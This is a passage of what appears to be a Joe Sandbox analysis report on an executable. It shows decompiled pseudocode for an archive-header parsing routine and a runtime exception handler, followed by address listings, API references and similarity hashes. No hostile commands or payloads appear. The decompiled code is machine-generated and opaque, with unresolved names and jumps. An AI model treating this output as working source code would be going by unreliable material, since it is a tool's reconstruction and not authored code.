										 *(_t698 + 0x10a0) = _t573 >> 0x0000000a & 1;
										__eflags = _t679 - 2;
										if(_t679 != 2) {
											L35:
											_t652 = 0;
											__eflags = 0;
											_t407 = 0;
											L36:
											 *((char*)(_t698 + 0x10f0)) = _t407;
											__eflags = _t679 - 2;
											if(_t679 == 2) {
												L39:
												_t408 = _t652;
												L40:
												 *(_t698 + 0x10fa) = _t408;
												_t574 = _t573 & 0x000000e0;
												__eflags = _t574 - 0xe0;
												 *((char*)(_t698 + 0x10f1)) = 0 | _t574 == 0x000000e0;
												__eflags = _t574 - 0xe0;
												if(_t574 != 0xe0) {
													_t653 =  *(_t698 + 8);
													_t412 = 0x10000 << (_t653 >> 0x00000005 & 0x00000007);
													__eflags = 0x10000;
												} else {
													_t412 = _t652;
													_t653 =  *(_t698 + 8);
												}
												 *(_t698 + 0x10f4) = _t412;
												 *(_t698 + 0x10f3) = _t653 >> 0x0000000b & 0x00000001;
												 *(_t698 + 0x10f2) = _t653 >> 0x00000003 & 0x00000001;
												 *((intOrPtr*)(_t698 + 0x14)) = E013AC237(_t711 + 0x24);
												 *(_t711 + 0x50) = E013AC237(_t711 + 0x24);
												 *((char*)(_t698 + 0x18)) = E013AC1EA(_t711 + 0x24);
												 *(_t698 + 0x1070) = 2;
												 *((intOrPtr*)(_t698 + 0x1074)) = E013AC237(_t711 + 0x24);
												 *(_t711 + 0x18) = E013AC237(_t711 + 0x24);
												_t584 = E013AC1EA(_t711 + 0x24) & 0x000000ff;
												 *(_t698 + 0x1c) = _t584;
												__eflags = _t584 - 0x14;
												if(_t584 < 0x14) {
													__eflags =  *(_t698 + 0x24) & 0x00000010;
													if(( *(_t698 + 0x24) & 0x00000010) != 0) {
														 *((char*)(_t698 + 0x10f1)) = 1;
													}
												}
												 *((char*)(_t698 + 0x20)) = E013AC1EA(_t711 + 0x24) - 0x30;
												 *(_t711 + 0x58) = E013AC202(_t711 + 0x24) & 0x0000ffff;
												_t656 = E013AC237(_t711 + 0x24);
												 *(_t711 + 0x4c) = _t656;
												 *(_t698 + 0x24) = _t656;
												 *(_t698 + 0x109c) = 0;
												__eflags =  *(_t698 + 0x109b);
												if( *(_t698 + 0x109b) == 0) {
													L56:
													_t427 =  *((intOrPtr*)(_t698 + 0x18));
													 *(_t698 + 0x10fc) = 2;
													__eflags = _t427 - 3;
													if(_t427 == 3) {
														L60:
														 *(_t698 + 0x10fc) = 1;
														L61:
														 *(_t698 + 0x1100) = 0;
														__eflags = _t427 - 3;
														if(_t427 == 3) {
															__eflags = (_t656 & 0x0000f000) - 0xa000;
															if((_t656 & 0x0000f000) == 0xa000) {
																__eflags = 0;
																 *(_t698 + 0x1100) = 1;
																 *((short*)(_t698 + 0x1104)) = 0;
															}
														}
														__eflags = _t679 - 2;
														if(_t679 == 2) {
															L67:
															_t428 = 0;
															goto L68;
														} else {
															__eflags =  *(_t698 + 0x24);
															if( *(_t698 + 0x24) >= 0) {
																goto L67;
															}
															_t428 = 1;
															L68:
															 *((char*)(_t698 + 0x10f8)) = _t428;
															_t431 =  *(_t698 + 8) >> 0x00000008 & 0x00000001;
															__eflags = _t431;
															 *(_t698 + 0x10f9) = _t431;
															if(_t431 == 0) {
																__eflags =  *(_t711 + 0x50) - 0xffffffff;
																_t649 = 0;
																_t680 = 0;
																_t138 =  *(_t711 + 0x50) == 0xffffffff;
																__eflags = _t138;
																_t432 = _t431 & 0xffffff00 | _t138;
																L74:
																 *(_t698 + 0x109a) = _t432;
																 *((intOrPtr*)(_t698 + 0x1058)) = 0 +  *((intOrPtr*)(_t698 + 0x14));
																asm("adc edi, ecx");
																 *((intOrPtr*)(_t698 + 0x105c)) = _t680;
																asm("adc edx, ecx");
																 *(_t698 + 0x1060) = 0 +  *(_t711 + 0x50);
																__eflags =  *(_t698 + 0x109a);
																 *(_t698 + 0x1064) = _t649;
																if( *(_t698 + 0x109a) != 0) {
																	 *(_t698 + 0x1060) = 0x7fffffff;
																	 *(_t698 + 0x1064) = 0x7fffffff;
																}
																_t437 =  *(_t711 + 0x58);
																_t681 = 0x1fff;
																 *(_t711 + 0x50) = 0x1fff;
																__eflags = _t437 - 0x1fff;
																if(_t437 < 0x1fff) {
																	_t681 = _t437;
																	 *(_t711 + 0x50) = _t437;
																}
																E013AC299(_t711 + 0x24, _t711 - 0x2030, _t681);
																_t440 = 0;
																__eflags =  *(_t711 + 0x54) - 2;
																 *((char*)(_t711 + _t681 - 0x2030)) = 0;
																if( *(_t711 + 0x54) != 2) {
																	 *(_t711 + 0x54) = _t698 + 0x28;
																	_t443 = E013B06D7(_t711 - 0x2030, _t698 + 0x28, 0x800);
																	_t684 =  *((intOrPtr*)(_t698 + 0xc)) -  *(_t711 + 0x58) - 0x20;
																	__eflags =  *(_t698 + 8) & 0x00000400;
																	if(( *(_t698 + 8) & 0x00000400) != 0) {
																		_t684 = _t684 - 8;
																		__eflags = _t684;
																	}
																	__eflags = _t684;
																	if(_t684 <= 0) {
																		_t685 = _t698 + 0x28;
																	} else {
																		 *(_t711 + 0x58) = _t698 + 0x1028;
																		E013A1FA5(_t698 + 0x1028, _t684);
																		_t477 = E013AC299(_t711 + 0x24,  *(_t698 + 0x1028), _t684);
																		_t685 = _t698 + 0x28;
																		_t443 = E013C20D9(_t477, _t698 + 0x28, L"RR");
																		__eflags = _t443;
																		if(_t443 == 0) {
																			__eflags =  *((intOrPtr*)(_t698 + 0x102c)) - 0x14;
																			if( *((intOrPtr*)(_t698 + 0x102c)) >= 0x14) {
																				_t686 =  *( *(_t711 + 0x58));
																				asm("cdq");
																				_t613 =  *(_t686 + 0xb) & 0x000000ff;
																				asm("cdq");
																				_t615 = (_t613 << 8) + ( *(_t686 + 0xa) & 0x000000ff);
																				asm("adc esi, edx");
																				asm("cdq");
																				_t617 = (_t615 << 8) + ( *(_t686 + 9) & 0x000000ff);
																				asm("adc esi, edx");
																				asm("cdq");
																				_t483 = (_t617 << 8) + ( *(_t686 + 8) & 0x000000ff);
																				asm("adc esi, edx");
																				 *(_t527 + 0x21c0) = _t483 << 9;
																				 *(_t527 + 0x21c4) = ((((_t649 << 0x00000020 | _t613) << 0x8 << 0x00000020 | _t615) << 0x8 << 0x00000020 | _t617) << 0x8 << 0x00000020 | _t483) << 9;
																				_t487 = E013AEE6D( *(_t527 + 0x21c0),  *(_t527 + 0x21c4),  *((intOrPtr*)( *_t527 + 0x14))(), _t649);
																				 *(_t527 + 0x21c8) = _t487;
																				 *(_t711 + 0x58) = _t487;
																				_t488 = E013BCE10(_t486, _t649, 0xc8, 0);
																				asm("adc edx, [ebx+0x21c4]");
																				_t443 = E013AEE6D(_t488 +  *(_t527 + 0x21c0), _t649, _t486, _t649);
																				_t623 =  *(_t711 + 0x58);
																				_t698 =  *(_t711 + 0x48);
																				_t685 =  *(_t711 + 0x54);
																				__eflags = _t443 - _t623;
																				if(_t443 > _t623) {
																					_t443 = _t623 + 1;
																					 *(_t527 + 0x21c8) = _t623 + 1;
																				}
																			}
																		}
																	}
																	_t444 = E013C20D9(_t443, _t685, L"CMT");
																	__eflags = _t444;
																	if(_t444 == 0) {
																		 *((char*)(_t527 + 0x6cb6)) = 1;
																	}
																} else {
																	_t685 = _t698 + 0x28;
																	 *_t685 = 0;
																	__eflags =  *(_t698 + 8) & 0x00000200;
																	if(( *(_t698 + 8) & 0x00000200) != 0) {
																		E013A6AE5(_t711);
																		_t495 = E013C2120(_t711 - 0x2030);
																		_t649 =  *(_t711 + 0x50);
																		_t496 = _t495 + 1;
																		__eflags = _t649 - _t496;
																		if(_t649 > _t496) {
																			__eflags = _t496 + _t711 - 0x2030;
																			E013A6AF6(_t711, _t711 - 0x2030, _t649, _t496 + _t711 - 0x2030, _t649 - _t496, _t685, 0x800);
																		}
																		_t440 = 0;
																		__eflags = 0;
																	}
																	__eflags =  *_t685 - _t440;
																	if( *_t685 == _t440) {
																		_push(1);
																		_push(0x800);
																		_push(_t685);
																		_push(_t711 - 0x2030);
																		E013AEEC3();
																	}
																	E013A2004(_t527, _t698);
																}
																__eflags =  *(_t698 + 8) & 0x00000400;
																if(( *(_t698 + 8) & 0x00000400) != 0) {
																	E013AC299(_t711 + 0x24, _t698 + 0x10a1, 8);
																}
																E013AFFE0( *(_t711 + 0x18));
																__eflags =  *(_t698 + 8) & 0x00001000;
																if(( *(_t698 + 8) & 0x00001000) == 0) {
																	L113:
																	 *((intOrPtr*)(_t527 + 0x6ca8)) = E013A3D91( *((intOrPtr*)(_t527 + 0x6ca8)),  *(_t527 + 0x6cac),  *((intOrPtr*)(_t698 + 0x1058)),  *((intOrPtr*)(_t698 + 0x105c)), 0, 0);
																	 *(_t527 + 0x6cac) = _t649;
																	 *((char*)(_t711 + 0x20)) =  *(_t698 + 0x10f2);
																	_t449 = E013AC2E8(_t711 + 0x24,  *((intOrPtr*)(_t711 + 0x20)));
																	__eflags =  *_t698 - (_t449 & 0x0000ffff);
																	if( *_t698 != (_t449 & 0x0000ffff)) {
																		 *((char*)(_t527 + 0x6cc4)) = 1;
																		E013A6E8B(0x13dcbe8, 1);
																		__eflags =  *((char*)(_t711 + 0x5e));
																		if(__eflags == 0) {
																			E013A6F5F(__eflags, 0x1c, _t527 + 0x1e, _t685);
																		}
																	}
																	goto L122;
																} else {
																	_t454 = E013AC202(_t711 + 0x24);
																	 *((intOrPtr*)(_t711 + 4)) = _t527 + 0x32c0;
																	 *((intOrPtr*)(_t711 + 8)) = _t527 + 0x32c8;
																	 *((intOrPtr*)(_t711 + 0xc)) = _t527 + 0x32d0;
																	__eflags = 0;
																	_t699 = 0;
																	 *(_t711 + 0x10) = 0;
																	_t459 = _t454 & 0x0000ffff;
																	 *(_t711 + 0x58) = 0;
																	 *(_t711 + 0x54) = _t459;
																	do {
																		_t597 = 3;
																		_t530 = _t459 >> _t597 - _t699 << 2;
																		__eflags = _t530 & 0x00000008;
																		if((_t530 & 0x00000008) == 0) {
																			goto L111;
																		}
																		__eflags =  *(_t711 + 4 + _t699 * 4);
																		if( *(_t711 + 4 + _t699 * 4) == 0) {
																			goto L111;
																		}
																		__eflags = _t699;
																		if(__eflags != 0) {
																			E013AFFE0(E013AC237(_t711 + 0x24));
																		}
																		E013AFE0E( *(_t711 + 4 + _t699 * 4), _t649, __eflags, _t711 - 0x30);
																		__eflags = _t530 & 0x00000004;
																		if((_t530 & 0x00000004) != 0) {
																			_t250 = _t711 - 0x1c;
																			 *_t250 =  *(_t711 - 0x1c) + 1;
																			__eflags =  *_t250;
																		}
																		_t601 = 0;
																		 *(_t711 - 0x18) = 0;
																		_t531 = _t530 & 0x00000003;
																		__eflags = _t531;
																		if(_t531 <= 0) {
																			L110:
																			_t462 = _t601 * 0x64;
																			__eflags = _t462;
																			 *(_t711 - 0x18) = _t462;
																			E013B003E( *(_t711 + 4 + _t699 * 4), _t649, _t711 - 0x30);
																			_t459 =  *(_t711 + 0x54);
																		} else {
																			_t465 = 3;
																			_t467 = _t465 - _t531 << 3;
																			__eflags = _t467;
																			 *(_t711 + 0x18) = _t467;
																			_t700 = _t467;
																			do {
																				_t470 = (E013AC1EA(_t711 + 0x24) & 0x000000ff) << _t700;
																				_t700 = _t700 + 8;
																				_t601 =  *(_t711 - 0x18) | _t470;
																				 *(_t711 - 0x18) = _t601;
																				_t531 = _t531 - 1;
																				__eflags = _t531;
																			} while (_t531 != 0);
																			_t699 =  *(_t711 + 0x58);
																			goto L110;
																		}
																		L111:
																		_t699 = _t699 + 1;
																		 *(_t711 + 0x58) = _t699;
																		__eflags = _t699 - 4;
																	} while (_t699 < 4);
																	_t527 =  *((intOrPtr*)(_t711 + 0x20));
																	_t698 =  *(_t711 + 0x48);
																	goto L113;
																}
															}
															_t680 = E013AC237(_t711 + 0x24);
															_t502 = E013AC237(_t711 + 0x24);
															__eflags =  *(_t711 + 0x50) - 0xffffffff;
															_t649 = _t502;
															if( *(_t711 + 0x50) != 0xffffffff) {
																L72:
																_t432 = 0;
																goto L74;
															}
															__eflags = _t649 - 0xffffffff;
															if(_t649 != 0xffffffff) {
																goto L72;
															}
															_t432 = 1;
															goto L74;
														}
													}
													__eflags = _t427 - 5;
													if(_t427 == 5) {
														goto L60;
													}
													__eflags = _t427 - 6;
													if(_t427 < 6) {
														 *(_t698 + 0x10fc) = 0;
													}
													goto L61;
												} else {
													_t659 =  *(_t698 + 0x1c) - 0xd;
													__eflags = _t659;
													if(_t659 == 0) {
														 *(_t698 + 0x109c) = 1;
														L55:
														_t656 =  *(_t711 + 0x4c);
														goto L56;
													}
													_t661 = _t659;
													__eflags = _t661;
													if(_t661 == 0) {
														 *(_t698 + 0x109c) = 2;
														goto L55;
													}
													_t662 = _t661 - 5;
													__eflags = _t662;
													if(_t662 == 0) {
														L52:
														 *(_t698 + 0x109c) = 3;
														goto L55;
													}
													__eflags = _t662 == 6;
													if(_t662 == 6) {
														goto L52;
													}
													 *(_t698 + 0x109c) = 4;
													goto L55;
												}
											}
											__eflags = _t573 & 0x00000010;
											if((_t573 & 0x00000010) == 0) {
												goto L39;
											}
											_t408 = 1;
											goto L40;
										}
										__eflags = _t573 & 0x00000010;
										if((_t573 & 0x00000010) == 0) {
											goto L35;
										} else {
											_t407 = 1;
											_t652 = 0;
											goto L36;
										}
									}
									__eflags = _t545 - 5;
									if(_t545 != 5) {
										goto L116;
									} else {
										memcpy(_t527 + 0x4590, _t527 + 0x21e4, _t545 << 2);
										_t664 =  *(_t527 + 0x4598);
										 *(_t527 + 0x45ac) =  *(_t527 + 0x4598) & 0x00000001;
										_t639 = _t664 >> 0x00000001 & 0x00000001;
										_t649 = _t664 >> 0x00000003 & 0x00000001;
										 *(_t527 + 0x45ad) = _t639;
										 *(_t527 + 0x45ae) = _t664 >> 0x00000002 & 0x00000001;
										 *(_t527 + 0x45af) = _t649;
										__eflags = _t639;
										if(_t639 != 0) {
											 *((intOrPtr*)(_t527 + 0x45a4)) = E013AC237(_t711 + 0x24);
										}
										__eflags =  *(_t527 + 0x45af);
										if( *(_t527 + 0x45af) != 0) {
											_t514 = E013AC202(_t711 + 0x24) & 0x0000ffff;
											 *(_t527 + 0x45a8) = _t514;
											 *(_t527 + 0x6cd8) = _t514;
										}
										goto L122;
									}
								}
								__eflags =  *(_t527 + 0x21ec) & 0x00000002;
								if(( *(_t527 + 0x21ec) & 0x00000002) != 0) {
									goto L20;
								}
								goto L23;
							}
							L20:
							_push(6);
							goto L24;
						} else {
							E013A1FBF(_t527);
							L134:
							E013A15CE(_t711 + 0x24);
							 *[fs:0x0] =  *((intOrPtr*)(_t711 - 0xc));
							return  *((intOrPtr*)(_t711 + 0x1c));
						}
					}
					L8:
					E013A3E95(_t527, _t649, _t723);
					goto L134;
				}
				_t649 =  *((intOrPtr*)(_t527 + 0x6cc0)) + _t668;
				asm("adc eax, ecx");
				_t720 =  *(_t527 + 0x6ca4);
				if(_t720 < 0 || _t720 <= 0 &&  *((intOrPtr*)(_t527 + 0x6ca0)) <= _t649) {
					goto L6;
				} else {
					 *((char*)(_t711 + 0x5e)) = 1;
					E013A3D2A(_t527);
					_push(8);
					_push(_t711 + 0x14);
					if( *((intOrPtr*)( *_t527 + 0xc))() != 8) {
						goto L8;
					} else {
						_t710 = _t527 + 0x1024;
						E013A6182(_t710, 0, 4,  *((intOrPtr*)(_t527 + 0x21bc)) + 0x5024, _t711 + 0x14, 0, 0, 0, 0);
						 *((intOrPtr*)(_t711 + 0x44)) = _t710;
						goto L7;
					}
				}
			}

0x013a2759
0x013a2762
0x013a276c
0x013a2773
0x013a277a
0x013a277d
0x013a2786
0x013a2789
0x013a278c
0x013a2793
0x013a27fb
0x013a27fb
0x013a27fe
0x013a2802
0x013a2807
0x013a280b
0x013a2827
0x013a282d
0x013a283c
0x013a2844
0x013a284a
0x013a2855
0x013a2860
0x013a2863
0x013a2869
0x013a286f
0x013a2871
0x013a287f
0x013a287f
0x013a2882
0x013a28b7
0x013a2884
0x013a2884
0x013a2884
0x013a2887
0x013a28ab
0x013a2889
0x013a2889
0x013a2889
0x013a288c
0x013a289f
0x013a288e
0x013a288e
0x013a2891
0x013a2893
0x013a2893
0x013a2891
0x013a288c
0x013a2887
0x013a28c1
0x013a28c7
0x013a28cd
0x013a28d0
0x013a28d6
0x013a28d9
0x013a28e4
0x013a28e7
0x013a28e8
0x013a28eb
0x013a290b
0x013a2911
0x013a2917
0x013a291a
0x013a2920
0x013a2923
0x013a2926
0x013a3045
0x013a304d
0x013a3054
0x013a305b
0x013a3068
0x013a307a
0x013a307f
0x013a3085
0x013a3097
0x013a309d
0x013a30aa
0x013a30b7
0x013a30c4
0x013a30ca
0x013a30cc
0x013a30d9
0x013a30db
0x013a30db
0x013a30dc
0x013a30dc
0x013a30e8
0x013a30f8
0x013a30f8
0x013a30fb
0x013a3101
0x013a3107
0x013a3109
0x013a310a
0x013a310f
0x013a3117
0x013a311d
0x013a31cd
0x013a31d0
0x00000000
0x013a31d0
0x013a3123
0x013a3129
0x013a312c
0x00000000
0x00000000
0x013a3132
0x013a3135
0x00000000
0x00000000
0x013a313b
0x013a313e
0x013a319f
0x013a31a6
0x013a31ad
0x013a31b2
0x013a31b6
0x00000000
0x00000000
0x013a31bf
0x013a31c4
0x00000000
0x013a31c4
0x013a3140
0x013a3147
0x00000000
0x00000000
0x013a314d
0x013a3153
0x013a3156
0x013a315d
0x013a3168
0x013a3168
0x013a316b
0x013a3171
0x013a3174
0x013a3178
0x013a317a
0x013a3181
0x013a3185
0x013a3188
0x013a3188
0x013a3188
0x013a3190
0x013a3194
0x013a3199
0x013a319d
0x00000000
0x00000000
0x00000000
0x013a319d
0x013a30ce
0x013a30d0
0x013a30d7
0x00000000
0x00000000
0x00000000
0x013a30d7
0x013a292c
0x013a301b
0x013a301b
0x013a3025
0x013a3033
0x013a3039
0x013a3039
0x00000000
0x013a3025
0x013a2932
0x013a2935
0x013a29c9
0x013a29d1
0x013a29e0
0x013a29e4
0x013a29e7
0x013a29ee
0x013a29f7
0x013a29f9
0x013a29fd
0x013a2a03
0x013a2a08
0x013a2a14
0x013a2a21
0x013a2a2e
0x013a2a34
0x013a2a37
0x013a2a44
0x013a2a44
0x013a2a44
0x013a2a46
0x013a2a48
0x013a2a48
0x013a2a4e
0x013a2a51
0x013a2a5d
0x013a2a5d
0x013a2a5f
0x013a2a5f
0x013a2a6a
0x013a2a6c
0x013a2a71
0x013a2a77
0x013a2a7d
0x013a2a86
0x013a2a96
0x013a2a96
0x013a2a7f
0x013a2a7f
0x013a2a81
0x013a2a81
0x013a2a98
0x013a2aae
0x013a2ab4
0x013a2ac2
0x013a2acd
0x013a2ad8
0x013a2adb
0x013a2aed
0x013a2afb
0x013a2b03
0x013a2b06
0x013a2b09
0x013a2b0c
0x013a2b0e
0x013a2b12
0x013a2b14
0x013a2b14
0x013a2b12
0x013a2b28
0x013a2b36
0x013a2b40
0x013a2b42
0x013a2b45
0x013a2b48
0x013a2b4e
0x013a2b54
0x013a2b9f
0x013a2b9f
0x013a2ba2
0x013a2bac
0x013a2bae
0x013a2bc0
0x013a2bc0
0x013a2bca
0x013a2bca
0x013a2bd0
0x013a2bd2
0x013a2bda
0x013a2be0
0x013a2be2
0x013a2be4
0x013a2bee
0x013a2bee
0x013a2be0
0x013a2bf5
0x013a2bf8
0x013a2c04
0x013a2c04
0x00000000
0x013a2bfa
0x013a2bfa
0x013a2bfd
0x00000000
0x00000000
0x013a2c01
0x013a2c06
0x013a2c06
0x013a2c12
0x013a2c12
0x013a2c14
0x013a2c1a
0x013a2c48
0x013a2c4c
0x013a2c4e
0x013a2c50
0x013a2c50
0x013a2c50
0x013a2c53
0x013a2c53
0x013a2c5e
0x013a2c64
0x013a2c6b
0x013a2c71
0x013a2c73
0x013a2c79
0x013a2c80
0x013a2c86
0x013a2c8d
0x013a2c93
0x013a2c93
0x013a2c99
0x013a2c9c
0x013a2ca1
0x013a2ca4
0x013a2ca6
0x013a2ca8
0x013a2caa
0x013a2caa
0x013a2cb8
0x013a2cbd
0x013a2cbf
0x013a2cc3
0x013a2cca
0x013a2d4b
0x013a2d55
0x013a2d60
0x013a2d63
0x013a2d6a
0x013a2d6c
0x013a2d6c
0x013a2d6c
0x013a2d6f
0x013a2d71
0x013a2e73
0x013a2d77
0x013a2d80
0x013a2d83
0x013a2d92
0x013a2d9c
0x013a2da0
0x013a2da7
0x013a2da9
0x013a2daf
0x013a2db6
0x013a2dbf
0x013a2dc5
0x013a2dc6
0x013a2dd2
0x013a2dd6
0x013a2ddc
0x013a2dde
0x013a2de6
0x013a2dec
0x013a2dee
0x013a2df8
0x013a2dfa
0x013a2e05
0x013a2e0d
0x013a2e2a
0x013a2e3a
0x013a2e40
0x013a2e43
0x013a2e4e
0x013a2e56
0x013a2e5b
0x013a2e5e
0x013a2e61
0x013a2e64
0x013a2e66
0x013a2e68
0x013a2e6b
0x013a2e6b
0x013a2e66
0x013a2db6
0x013a2da9
0x013a2e7c
0x013a2e83
0x013a2e85
0x013a2e87
0x013a2e87
0x013a2ccc
0x013a2cce
0x013a2cd1
0x013a2cd4
0x013a2cdb
0x013a2ce0
0x013a2cec
0x013a2cf1
0x013a2cf4
0x013a2cf6
0x013a2cf8
0x013a2d0b
0x013a2d15
0x013a2d15
0x013a2d1a
0x013a2d1a
0x013a2d1a
0x013a2d1c
0x013a2d1f
0x013a2d21
0x013a2d23
0x013a2d28
0x013a2d2f
0x013a2d30
0x013a2d30
0x013a2d38
0x013a2d38
0x013a2e8e
0x013a2e95
0x013a2ea3
0x013a2ea3
0x013a2eb1
0x013a2eb6
0x013a2ebd
0x013a2fa1
0x013a2fc2
0x013a2fcb
0x013a2fd7
0x013a2fdd
0x013a2fe5
0x013a2fe7
0x013a2ff4
0x013a2ffb
0x013a3000
0x013a3004
0x013a3011
0x013a3011
0x013a3004
0x00000000
0x013a2ec3
0x013a2ec6
0x013a2ed4
0x013a2edd
0x013a2ee6
0x013a2ee9
0x013a2eeb
0x013a2eed
0x013a2ef0
0x013a2ef2
0x013a2ef5
0x013a2ef8
0x013a2efa
0x013a2f02
0x013a2f04
0x013a2f07
0x00000000
0x00000000
0x013a2f0d
0x013a2f12
0x00000000
0x00000000
0x013a2f14
0x013a2f16
0x013a2f25
0x013a2f25
0x013a2f32
0x013a2f37
0x013a2f3a
0x013a2f3c
0x013a2f3c
0x013a2f3c
0x013a2f3c
0x013a2f3f
0x013a2f41
0x013a2f44
0x013a2f44
0x013a2f47
0x013a2f78
0x013a2f78
0x013a2f78
0x013a2f7f
0x013a2f86
0x013a2f8b
0x013a2f49
0x013a2f4b
0x013a2f4e
0x013a2f4e
0x013a2f51
0x013a2f54
0x013a2f56
0x013a2f63
0x013a2f65
0x013a2f6b
0x013a2f6d
0x013a2f70
0x013a2f70
0x013a2f70
0x013a2f75
0x00000000
0x013a2f75
0x013a2f8e
0x013a2f8e
0x013a2f8f
0x013a2f92
0x013a2f92
0x013a2f9b
0x013a2f9e
0x00000000
0x013a2f9e
0x013a2ebd
0x013a2c27
0x013a2c29
0x013a2c2e
0x013a2c32
0x013a2c34
0x013a2c42
0x013a2c44
0x00000000
0x013a2c44
0x013a2c36
0x013a2c39
0x00000000
0x00000000
0x013a2c3d
0x00000000
0x013a2c3e
0x013a2bf8
0x013a2bb0
0x013a2bb2
0x00000000
0x00000000
0x013a2bb4
0x013a2bb6
0x013a2bb8
0x013a2bb8
0x00000000
0x013a2b56
0x013a2b59
0x013a2b59
0x013a2b5c
0x013a2b92
0x013a2b9c
0x013a2b9c
0x00000000
0x013a2b9c
0x013a2b5f
0x013a2b5f
0x013a2b62
0x013a2b86
0x00000000
0x013a2b86
0x013a2b64
0x013a2b64
0x013a2b67
0x013a2b7a
0x013a2b7a
0x00000000
0x013a2b7a
0x013a2b69
0x013a2b6c
0x00000000
0x00000000
0x013a2b6e
0x00000000
0x013a2b6e
0x013a2b54
0x013a2a53
0x013a2a56
0x00000000
0x00000000
0x013a2a5a
0x00000000
0x013a2a5a
0x013a2a39
0x013a2a3c
0x00000000
0x013a2a3e
0x013a2a3e
0x013a2a40
0x00000000
0x013a2a40
0x013a2a3c
0x013a293b
0x013a293e
0x00000000
0x013a2944
0x013a2950
0x013a2958
0x013a2960
0x013a296f
0x013a2977
0x013a297a
0x013a2980
0x013a2986
0x013a298c
0x013a298e
0x013a2998
0x013a2998
0x013a299e
0x013a29a5
0x013a29b3
0x013a29b6
0x013a29bc
0x013a29bc
0x00000000
0x013a29a5
0x013a293e
0x013a28db
0x013a28e2
0x00000000
0x00000000
0x00000000
0x013a28e2
0x013a28d2
0x013a28d2
0x00000000
0x013a2873
0x013a2875
0x013a31d3
0x013a31d6
0x013a31e4
0x013a31ef
0x013a31ef
0x013a2871
0x013a280d
0x013a280f
0x00000000
0x013a280f
0x013a279d
0x013a279f
0x013a27a1
0x013a27a7
0x00000000
0x013a27b3
0x013a27b5
0x013a27b9
0x013a27c3
0x013a27c5
0x013a27ce
0x00000000
0x013a27d0
0x013a27e0
0x013a27f1
0x013a27f6
0x00000000
0x013a27f6
0x013a27ce

APIs

__EH_prolog.LIBCMT ref: 013A2762
_strlen.LIBCMT ref: 013A2CEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 013A2E43

Strings

CMT, xrefs: 013A2E76

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prologUnothrow_t@std@@@__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 3741668355-2756464174
Opcode ID: dc541f8d03d3b6e79418d447072bc0ace53adcdb854397c518b5bcc19d9897f2
Instruction ID: 66d7550930ffdab15d6cb5f2dfb516805b9048f11f487627dc9cfc47fede524f
Opcode Fuzzy Hash: dc541f8d03d3b6e79418d447072bc0ace53adcdb854397c518b5bcc19d9897f2
Instruction Fuzzy Hash: 2B62F5716002858FDF19DF78C895AEA3BE5EF25308F48457EED9A8B282D770A944CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013C5B43 Relevance: 4.6, APIs: 3, Instructions: 78
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E013C5B43(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t67 = __edi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0x13da1c8; // 0x21a16d55
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E013BDBB0(_t41);
					_pop(_t62);
				}
				E013BDE40(_t67,  &_v804, 0, 0x50);
				E013BDE40(_t67,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t25 =  &_v0; // 0x1b
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // -785
				if(UnhandledExceptionFilter(_t36) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E013BDBB0(_t57);
				}
				return E013BD763(_v8 ^ _t70);
			}

0x013c5b43
0x013c5b43
0x013c5b43
0x013c5b43
0x013c5b4e
0x013c5b53
0x013c5b55
0x013c5b5d
0x013c5b5f
0x013c5b62
0x013c5b67
0x013c5b67
0x013c5b73
0x013c5b86
0x013c5b94
0x013c5b9a
0x013c5ba0
0x013c5ba6
0x013c5bac
0x013c5bb2
0x013c5bb8
0x013c5bbe
0x013c5bc4
0x013c5bca
0x013c5bd1
0x013c5bd8
0x013c5bdf
0x013c5be6
0x013c5bed
0x013c5bf4
0x013c5bf5
0x013c5bfe
0x013c5c04
0x013c5c04
0x013c5c07
0x013c5c0d
0x013c5c1a
0x013c5c23
0x013c5c2c
0x013c5c35
0x013c5c43
0x013c5c45
0x013c5c4b
0x013c5c5a
0x013c5c66
